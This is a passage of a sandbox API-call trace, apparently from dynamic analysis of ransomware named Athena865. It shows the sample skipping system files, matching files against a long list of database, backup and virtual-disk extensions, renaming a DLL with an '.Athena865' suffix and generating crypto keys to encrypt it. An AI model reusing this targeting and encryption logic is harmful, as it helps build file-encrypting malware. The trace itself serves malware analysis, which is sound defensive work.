lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0089.937] lstrcmpiW (lpString1="sqlceca35.dll", lpString2=".") returned 1 [0089.937] lstrcmpiW (lpString1="sqlceca35.dll", lpString2="..") returned 1 [0089.937] lstrcmpiW (lpString1="sqlceca35.dll", lpString2="windows") returned -1 [0089.937] lstrcmpiW (lpString1="sqlceca35.dll", lpString2="bootmgr") returned 1 [0089.937] lstrcmpiW (lpString1="sqlceca35.dll", lpString2="temp") returned -1 [0089.937] lstrcmpiW (lpString1="sqlceca35.dll", lpString2="pagefile.sys") returned 1 [0089.937] lstrcmpiW (lpString1="sqlceca35.dll", lpString2="boot") returned 1 [0089.937] lstrcmpiW (lpString1="sqlceca35.dll", lpString2="ids.txt") returned 1 [0089.937] lstrcmpiW (lpString1="sqlceca35.dll", lpString2="ntuser.dat") returned 1 [0089.938] lstrcmpiW (lpString1="sqlceca35.dll", lpString2="perflogs") returned 1 [0089.938] lstrcmpiW (lpString1="sqlceca35.dll", lpString2="MSBuild") returned 1 [0089.938] lstrlenW (lpString="sqlceca35.dll") returned 13 [0089.938] lstrcpyW (in: lpString1=0x241e8be, lpString2="sqlceca35.dll" | out: lpString1="sqlceca35.dll") returned="sqlceca35.dll" [0089.938] lstrlenW (lpString="sqlceca35.dll") returned 13 [0089.938] lstrlenW (lpString="Athena865") returned 9 [0089.938] lstrcmpiW (lpString1="eca35.dll", lpString2="Athena865") returned 1 [0089.938] lstrlenW (lpString=".dll") returned 4 [0089.938] lstrcmpiW (lpString1="sqlceca35.dll", lpString2=".dll") returned 1 [0089.938] lstrlenW (lpString=".lnk") returned 4 [0089.938] lstrcmpiW (lpString1="sqlceca35.dll", lpString2=".lnk") returned 1 [0089.938] lstrlenW (lpString=".ini") returned 4 [0089.938] lstrcmpiW (lpString1="sqlceca35.dll", lpString2=".ini") returned 1 [0089.938] lstrlenW (lpString=".sys") returned 4 [0089.938] lstrcmpiW (lpString1="sqlceca35.dll", lpString2=".sys") returned 1 [0089.938] lstrlenW (lpString="sqlceca35.dll") returned 13 [0089.938] lstrlenW (lpString="bak") returned 3 [0089.938] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0089.938] lstrlenW (lpString="ba_") returned 3 [0089.938] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0089.938] lstrlenW (lpString="dbb") returned 3 [0089.938] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0089.938] lstrlenW (lpString="vmdk") returned 4 [0089.938] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0089.938] lstrlenW (lpString="rar") returned 3 [0089.938] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0089.938] lstrlenW (lpString="zip") returned 3 [0089.938] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0089.938] lstrlenW (lpString="tgz") returned 3 [0089.938] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0089.939] lstrlenW (lpString="vbox") returned 4 [0089.939] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0089.939] lstrlenW (lpString="vdi") returned 3 [0089.939] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0089.939] lstrlenW (lpString="vhd") returned 3 [0089.939] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0089.939] lstrlenW (lpString="vhdx") returned 4 [0089.939] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0089.939] lstrlenW (lpString="avhd") returned 4 [0089.939] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0089.939] lstrlenW (lpString="db") returned 2 [0089.939] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0089.939] lstrlenW (lpString="db2") returned 3 [0089.939] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0089.939] lstrlenW (lpString="db3") returned 3 [0089.939] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0089.939] lstrlenW (lpString="dbf") returned 3 [0089.939] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0089.939] lstrlenW (lpString="mdf") returned 3 [0089.939] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0089.939] lstrlenW (lpString="mdb") returned 3 [0089.939] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0089.939] lstrlenW (lpString="sql") returned 3 [0089.939] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0089.939] lstrlenW (lpString="sqlite") returned 6 [0089.939] lstrcmpiW (lpString1="35.dll", lpString2="sqlite") returned -1 [0089.939] lstrlenW (lpString="sqlite3") returned 7 [0089.940] lstrcmpiW (lpString1="a35.dll", lpString2="sqlite3") returned -1 [0089.940] lstrlenW (lpString="sqlitedb") returned 8 [0089.940] lstrcmpiW (lpString1="ca35.dll", lpString2="sqlitedb") returned -1 [0089.940] lstrlenW (lpString="xml") returned 3 [0089.940] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0089.940] lstrlenW (lpString="$er") returned 3 [0089.940] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0089.940] lstrlenW (lpString="4dd") returned 3 [0089.940] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0089.940] lstrlenW (lpString="4dl") returned 3 [0089.940] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0089.940] lstrlenW (lpString="^^^") returned 3 [0089.940] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0089.940] lstrlenW (lpString="abs") returned 3 [0089.940] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0089.940] lstrlenW (lpString="abx") returned 3 [0089.940] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0089.940] lstrlenW (lpString="accdb") returned 5 [0089.940] lstrcmpiW (lpString1="5.dll", lpString2="accdb") returned -1 [0089.940] lstrlenW (lpString="accdc") returned 5 [0089.940] lstrcmpiW (lpString1="5.dll", lpString2="accdc") returned -1 [0089.940] lstrlenW (lpString="accde") returned 5 [0089.940] lstrcmpiW (lpString1="5.dll", lpString2="accde") returned -1 [0089.940] lstrlenW (lpString="accdr") returned 5 [0089.940] lstrcmpiW (lpString1="5.dll", lpString2="accdr") returned -1 [0089.940] lstrlenW (lpString="accdt") returned 5 [0089.940] lstrcmpiW (lpString1="5.dll", lpString2="accdt") returned -1 [0089.940] lstrlenW (lpString="accdw") returned 5 [0089.940] lstrcmpiW (lpString1="5.dll", lpString2="accdw") returned -1 [0089.940] lstrlenW (lpString="accft") returned 5 [0089.940] lstrcmpiW (lpString1="5.dll", lpString2="accft") returned -1 [0089.940] lstrlenW (lpString="adb") returned 3 [0089.941] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0089.941] lstrlenW (lpString="adb") returned 3 [0089.941] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0089.941] lstrlenW (lpString="ade") returned 3 [0089.941] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0089.941] lstrlenW (lpString="adf") returned 3 [0089.941] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0089.941] lstrlenW (lpString="adn") returned 3 [0089.941] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0089.941] lstrlenW (lpString="adp") returned 3 [0089.941] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0089.941] lstrlenW (lpString="alf") returned 3 [0089.941] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0089.941] lstrlenW (lpString="ask") returned 3 [0089.941] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0089.941] lstrlenW (lpString="btr") returned 3 [0089.941] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0089.941] lstrlenW (lpString="cat") returned 3 [0089.941] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0089.941] lstrlenW (lpString="cdb") returned 3 [0089.941] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0089.941] lstrlenW (lpString="ckp") returned 3 [0089.941] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0089.941] lstrlenW (lpString="cma") returned 3 [0089.941] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0089.941] lstrlenW (lpString="cpd") returned 3 [0089.941] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0089.941] lstrlenW (lpString="dacpac") returned 6 [0089.941] lstrcmpiW (lpString1="35.dll", lpString2="dacpac") returned -1 [0089.942] lstrlenW (lpString="dad") returned 3 [0089.942] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0089.942] lstrlenW (lpString="dadiagrams") returned 10 [0089.942] lstrcmpiW (lpString1="ceca35.dll", lpString2="dadiagrams") returned -1 [0089.942] lstrlenW (lpString="daschema") returned 8 [0089.942] lstrcmpiW (lpString1="ca35.dll", lpString2="daschema") returned -1 [0089.942] lstrlenW (lpString="db-journal") returned 10 [0089.942] lstrcmpiW (lpString1="ceca35.dll", lpString2="db-journal") returned -1 [0089.942] lstrlenW (lpString="db-shm") returned 6 [0089.942] lstrcmpiW (lpString1="35.dll", lpString2="db-shm") returned -1 [0089.942] lstrlenW (lpString="db-wal") returned 6 [0089.942] lstrcmpiW (lpString1="35.dll", lpString2="db-wal") returned -1 [0089.942] lstrlenW (lpString="dbc") returned 3 [0089.942] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0089.942] lstrlenW (lpString="dbs") returned 3 [0089.942] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0089.942] lstrlenW (lpString="dbt") returned 3 [0089.942] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0089.942] lstrlenW (lpString="dbv") returned 3 [0089.942] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0089.942] lstrlenW (lpString="dbx") returned 3 [0089.942] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0089.942] lstrlenW (lpString="dcb") returned 3 [0089.942] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0089.942] lstrlenW (lpString="dct") returned 3 [0089.942] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0089.942] lstrlenW (lpString="dcx") returned 3 [0089.942] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0089.942] lstrlenW (lpString="ddl") returned 3 [0089.942] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0089.943] lstrlenW (lpString="dlis") returned 4 [0089.943] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0089.943] lstrlenW (lpString="dp1") returned 3 [0089.943] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0089.943] lstrlenW (lpString="dqy") returned 3 [0089.943] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0089.943] lstrlenW (lpString="dsk") returned 3 [0089.943] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0089.943] lstrlenW (lpString="dsn") returned 3 [0089.943] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0089.943] lstrlenW (lpString="dtsx") returned 4 [0089.943] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0089.943] lstrlenW (lpString="dxl") returned 3 [0089.943] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0089.943] lstrlenW (lpString="eco") returned 3 [0089.943] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0089.943] lstrlenW (lpString="ecx") returned 3 [0089.943] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0089.943] lstrlenW (lpString="edb") returned 3 [0089.943] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0089.943] lstrlenW (lpString="epim") returned 4 [0089.943] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0089.943] lstrlenW (lpString="fcd") returned 3 [0089.943] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0089.943] lstrlenW (lpString="fdb") returned 3 [0089.943] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0089.943] lstrlenW (lpString="fic") returned 3 [0089.944] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0089.944] lstrlenW (lpString="flexolibrary") returned 12 [0089.944] lstrcmpiW (lpString1="qlceca35.dll", lpString2="flexolibrary") returned 1 [0089.944] lstrlenW (lpString="fm5") returned 3 [0089.944] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0089.944] lstrlenW (lpString="fmp") returned 3 [0089.944] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0089.944] lstrlenW (lpString="fmp12") returned 5 [0089.944] lstrcmpiW (lpString1="5.dll", lpString2="fmp12") returned -1 [0089.944] lstrlenW (lpString="fmpsl") returned 5 [0089.944] lstrcmpiW (lpString1="5.dll", lpString2="fmpsl") returned -1 [0089.944] lstrlenW (lpString="fol") returned 3 [0089.944] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0089.944] lstrlenW (lpString="fp3") returned 3 [0089.944] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0089.944] lstrlenW (lpString="fp4") returned 3 [0089.944] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0089.944] lstrlenW (lpString="fp5") returned 3 [0089.944] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0089.944] lstrlenW (lpString="fp7") returned 3 [0089.944] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0089.944] lstrlenW (lpString="fpt") returned 3 [0089.944] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0089.944] lstrlenW (lpString="frm") returned 3 [0089.944] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0089.944] lstrlenW (lpString="gdb") returned 3 [0089.944] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0089.944] lstrlenW (lpString="gdb") returned 3 [0089.944] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0089.944] lstrlenW (lpString="grdb") returned 4 [0089.945] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0089.945] lstrlenW (lpString="gwi") returned 3 [0089.945] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0089.945] lstrlenW (lpString="hdb") returned 3 [0089.945] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0089.945] lstrlenW (lpString="his") returned 3 [0089.945] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0089.945] lstrlenW (lpString="ib") returned 2 [0089.945] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0089.945] lstrlenW (lpString="idb") returned 3 [0089.945] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0089.945] lstrlenW (lpString="ihx") returned 3 [0089.945] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0089.945] lstrlenW (lpString="itdb") returned 4 [0089.945] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0089.945] lstrlenW (lpString="itw") returned 3 [0089.945] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0089.945] lstrlenW (lpString="jet") returned 3 [0089.945] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0089.945] lstrlenW (lpString="jtx") returned 3 [0089.945] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0089.945] lstrlenW (lpString="kdb") returned 3 [0089.945] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0089.945] lstrlenW (lpString="kexi") returned 4 [0089.945] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0089.945] lstrlenW (lpString="kexic") returned 5 [0089.945] lstrcmpiW (lpString1="5.dll", lpString2="kexic") returned -1 [0089.946] lstrlenW (lpString="kexis") returned 5 [0089.946] lstrcmpiW (lpString1="5.dll", lpString2="kexis") returned -1 [0089.946] lstrlenW (lpString="lgc") returned 3 [0089.946] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0089.946] lstrlenW (lpString="lwx") returned 3 [0089.946] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0089.946] lstrlenW (lpString="maf") returned 3 [0089.946] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0089.946] lstrlenW (lpString="maq") returned 3 [0089.946] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0089.946] lstrlenW (lpString="mar") returned 3 [0089.946] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0089.946] lstrlenW (lpString="marshal") returned 7 [0089.946] lstrcmpiW (lpString1="a35.dll", lpString2="marshal") returned -1 [0089.946] lstrlenW (lpString="mas") returned 3 [0089.946] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0089.946] lstrlenW (lpString="mav") returned 3 [0089.946] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0089.946] lstrlenW (lpString="maw") returned 3 [0089.946] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0089.946] lstrlenW (lpString="mdbhtml") returned 7 [0089.946] lstrcmpiW (lpString1="a35.dll", lpString2="mdbhtml") returned -1 [0089.946] lstrlenW (lpString="mdn") returned 3 [0089.946] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0089.946] lstrlenW (lpString="mdt") returned 3 [0089.946] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0089.946] lstrlenW (lpString="mfd") returned 3 [0089.947] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0089.947] lstrlenW (lpString="mpd") returned 3 [0089.947] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0089.947] lstrlenW (lpString="mrg") returned 3 [0089.947] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0089.947] lstrlenW (lpString="mud") returned 3 [0089.947] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0089.947] lstrlenW (lpString="mwb") returned 3 [0089.947] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0089.947] lstrlenW (lpString="myd") returned 3 [0089.947] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0089.947] lstrlenW (lpString="ndf") returned 3 [0089.947] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0089.947] lstrlenW (lpString="nnt") returned 3 [0089.947] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0089.947] lstrlenW (lpString="nrmlib") returned 6 [0089.947] lstrcmpiW (lpString1="35.dll", lpString2="nrmlib") returned -1 [0089.947] lstrlenW (lpString="ns2") returned 3 [0089.947] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0089.947] lstrlenW (lpString="ns3") returned 3 [0089.947] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0089.947] lstrlenW (lpString="ns4") returned 3 [0089.947] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0089.947] lstrlenW (lpString="nsf") returned 3 [0089.947] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0089.947] lstrlenW (lpString="nv") returned 2 [0089.947] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0089.947] lstrlenW (lpString="nv2") returned 3 [0089.947] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0089.948] lstrlenW (lpString="nwdb") returned 4 [0089.948] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0089.948] lstrlenW (lpString="nyf") returned 3 [0089.948] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0089.948] lstrlenW (lpString="odb") returned 3 [0089.948] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0089.948] lstrlenW (lpString="odb") returned 3 [0089.948] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0089.948] lstrlenW (lpString="oqy") returned 3 [0089.948] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0089.948] lstrlenW (lpString="ora") returned 3 [0089.948] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0089.948] lstrlenW (lpString="orx") returned 3 [0089.948] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0089.948] lstrlenW (lpString="owc") returned 3 [0089.948] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0089.948] lstrlenW (lpString="p96") returned 3 [0089.948] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0089.948] lstrlenW (lpString="p97") returned 3 [0089.948] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0089.948] lstrlenW (lpString="pan") returned 3 [0089.948] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0089.948] lstrlenW (lpString="pdb") returned 3 [0089.948] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0089.948] lstrlenW (lpString="pdm") returned 3 [0089.948] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0089.948] lstrlenW (lpString="pnz") returned 3 [0089.948] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0089.948] lstrlenW (lpString="qry") returned 3 [0089.948] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0089.949] lstrlenW (lpString="qvd") returned 3 [0089.949] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0089.949] lstrlenW (lpString="rbf") returned 3 [0089.949] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0089.949] lstrlenW (lpString="rctd") returned 4 [0089.949] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0089.949] lstrlenW (lpString="rod") returned 3 [0089.949] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0089.949] lstrlenW (lpString="rodx") returned 4 [0089.949] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0089.949] lstrlenW (lpString="rpd") returned 3 [0089.949] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0089.949] lstrlenW (lpString="rsd") returned 3 [0089.949] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0089.949] lstrlenW (lpString="sas7bdat") returned 8 [0089.949] lstrcmpiW (lpString1="ca35.dll", lpString2="sas7bdat") returned -1 [0089.949] lstrlenW (lpString="sbf") returned 3 [0089.949] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0089.949] lstrlenW (lpString="scx") returned 3 [0089.949] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0089.949] lstrlenW (lpString="sdb") returned 3 [0089.949] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0089.949] lstrlenW (lpString="sdc") returned 3 [0089.949] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0089.949] lstrlenW (lpString="sdf") returned 3 [0089.949] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0089.949] lstrlenW (lpString="sis") returned 3 [0089.949] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0089.950] lstrlenW (lpString="spq") returned 3 [0089.950] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0089.950] lstrlenW (lpString="te") returned 2 [0089.950] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0089.950] lstrlenW (lpString="teacher") returned 7 [0089.950] lstrcmpiW (lpString1="a35.dll", lpString2="teacher") returned -1 [0089.950] lstrlenW (lpString="tmd") returned 3 [0089.950] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0089.950] lstrlenW (lpString="tps") returned 3 [0089.950] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0089.950] lstrlenW (lpString="trc") returned 3 [0089.950] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0089.950] lstrlenW (lpString="trc") returned 3 [0089.950] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0089.950] lstrlenW (lpString="trm") returned 3 [0089.950] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0089.950] lstrlenW (lpString="udb") returned 3 [0089.950] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0089.950] lstrlenW (lpString="udl") returned 3 [0089.950] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0089.950] lstrlenW (lpString="usr") returned 3 [0089.950] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0089.950] lstrlenW (lpString="v12") returned 3 [0089.950] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0089.950] lstrlenW (lpString="vis") returned 3 [0089.950] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0089.950] lstrlenW (lpString="vpd") returned 3 [0089.950] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0089.950] lstrlenW (lpString="vvv") returned 3 [0089.950] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0089.950] lstrlenW (lpString="wdb") returned 3 [0089.950] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0089.951] lstrlenW (lpString="wmdb") returned 4 [0089.951] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0089.951] lstrlenW (lpString="wrk") returned 3 [0089.951] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0089.951] lstrlenW (lpString="xdb") returned 3 [0089.951] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0089.951] lstrlenW (lpString="xld") returned 3 [0089.951] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0089.951] lstrlenW (lpString="xmlff") returned 5 [0089.951] lstrcmpiW (lpString1="5.dll", lpString2="xmlff") returned -1 [0089.951] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlceca35.dll.Athena865") returned 82 [0089.951] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlceca35.dll" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5\\sqlceca35.dll"), lpNewFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlceca35.dll.Athena865" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5\\sqlceca35.dll.athena865"), dwFlags=0x1) returned 1 [0089.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\v3.5\\sqlceca35.dll.Athena865" (normalized: "c:\\program files\\microsoft sql server compact edition\\v3.5\\sqlceca35.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0089.989] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=571456) returned 1 [0089.989] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0089.989] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0089.989] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519008 [0089.990] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518f80) returned 1 [0089.990] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0089.991] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0089.991] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8bb40, lpName=0x0) returned 0x154 [0089.994] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8bb40) returned 0x2d50000 [0090.042] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518f80) returned 1 [0090.043] CryptGenRandom (in: hProv=0x518f80, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0090.043] CryptReleaseContext (hProv=0x518f80, dwFlags=0x0) returned 1 [0090.043] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0090.043] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0090.043] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0090.043] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0090.043] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.043] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0090.044] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0090.044] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0090.044] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0090.044] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0090.044] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0090.050] CloseHandle (hObject=0x154) returned 1 [0090.050] CloseHandle (hObject=0x17c) returned 1 [0090.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0090.050] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519008 | out: 